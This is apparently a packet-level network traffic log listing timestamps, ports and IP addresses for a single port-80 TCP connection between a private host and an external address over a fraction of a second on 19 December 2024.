Dec 19, 2024 03:09:15.359958887 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.360011101 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.360038996 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.360095024 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.360897064 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.360955000 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.361033916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.361088037 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.361870050 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.361923933 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.361952066 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.362006903 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.362848043 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.362905979 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.362947941 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.362998962 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.363836050 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.363890886 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.363953114 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.364031076 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.364829063 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.364886045 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.364922047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.364979029 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.365791082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.365847111 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.365884066 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.365942955 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.366761923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.366818905 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.366863012 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.366919041 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.367739916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.367794991 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.367847919 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.367901087 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.368706942 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.368762970 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.368820906 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.368876934 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.369736910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.369791985 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.369836092 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.369890928 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.370687008 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.370743990 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.370784998 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.370839119 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.371644974 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.371700048 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.371758938 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.371812105 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.372643948 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.372699022 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.372742891 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.372801065 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.373635054 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.373691082 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.373719931 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.373765945 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.374589920 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.374649048 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.374687910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.374739885 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.375570059 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.375646114 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.375690937 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.375736952 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.376605988 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.376661062 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.376692057 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.376746893 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.377569914 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.377621889 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.377669096 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.377726078 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.378581047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.378632069 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.378669024 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.378720999 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.379535913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.379587889 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.379612923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.379666090 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.380512953 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.380564928 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.380593061 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.380647898 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.381448984 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.381501913 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.381545067 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.381597042 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.382425070 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.382477999 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.382520914 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.382571936 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.383383989 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.383441925 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.383483887 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.383537054 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.384360075 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.384413004 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.384455919 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.384512901 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.385390043 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.385442019 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.385485888 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.385539055 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.386390924 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.386442900 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.527575970 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.527646065 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.527657986 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.527694941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.528006077 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.528100967 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.528186083 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.528971910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.529036045 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.529073000 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.529128075 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.529961109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.530042887 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.530080080 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.530137062 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.531013012 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.531068087 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.531105042 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.531169891 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.531896114 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.531949043 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.532016039 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.532069921 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.532880068 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.532943964 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.532987118 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.533036947 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.533890009 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.533950090 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.534025908 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.534091949 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.534914017 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.534967899 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.534976006 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.535027027 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.535806894 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.535866976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.535999060 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.536052942 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.536825895 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.536880016 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.536921024 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.536973000 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.538098097 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.538120031 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.538151026 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.538177967 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.538858891 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.538917065 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.538947105 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.539000034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.539870024 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.539923906 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.539990902 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.540075064 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.540781021 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.540833950 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.540935993 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.540988922 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.541871071 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.541924953 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.541985989 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.542041063 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.542812109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.542867899 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.542905092 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.542958021 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.543813944 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.543831110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.543867111 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.543894053 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.544656992 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.544713974 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.544758081 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.544811964 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.545643091 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.545700073 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.545736074 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.545792103 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.546648026 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.546705008 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.546749115 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.546804905 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.547590971 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.547646999 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.547725916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.547780037 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.548542976 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.548603058 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.548645020 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.548700094 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.549550056 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.549607992 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.549643040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.549691916 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.550503016 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.550584078 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.550627947 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.550684929 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.551507950 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.551563025 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.551657915 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.551712990 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.552483082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.552540064 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.552582979 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.552637100 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.553443909 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.553500891 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.553550005 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.553606033 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.554430008 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.554485083 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.554528952 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.554583073 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.555424929 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.555479050 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.555531025 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.555588961 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.556431055 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.556483984 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.556533098 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.556587934 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.557367086 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.557420969 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.557466984 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.557519913 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.558351040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.558407068 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.558509111 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.558564901 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.559348106 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.559403896 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.559448957 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.559499025 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.560395002 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.560450077 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.560547113 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.560626030 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.561551094 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.561604977 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.561736107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.561793089 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.562396049 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.562444925 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.562483072 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.562535048 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.563296080 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.563350916 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.563383102 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.563436031 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.564265966 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.564321995 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.564366102 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.564419985 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.565211058 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.565263987 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.565345049 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.565398932 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.566184998 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.566240072 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.566301107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.566354990 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.567166090 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.567219019 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.567290068 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.567344904 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.568159103 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.568213940 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.568257093 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.568311930 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.569119930 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.569175959 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.569228888 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.569282055 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.570101023 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.570153952 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.570211887 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.570266008 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.571088076 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.571166039 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.571202040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.571255922 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.572088003 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.572143078 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.572170019 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.572223902 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.573050022 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.573100090 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.573143005 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.573199987 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.574026108 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.574081898 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.574125051 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.574174881 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.574997902 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.575053930 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.575150013 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.575210094 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.575994968 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.576050997 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.576143980 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.576201916 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.576972961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.577025890 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.577061892 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.577116966 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.577939987 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.577997923 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.578041077 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.578094959 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.578847885 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.578902006 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.719779968 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.719841003 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.720196962 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.720230103 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.720268011 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.720330000 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.720380068 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.720423937 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.720472097 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.721302986 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.721366882 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.721429110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.721486092 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.722278118 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.722351074 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.722387075 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.722444057 CET	49835	80	192.168.2.5	31.41.244.11
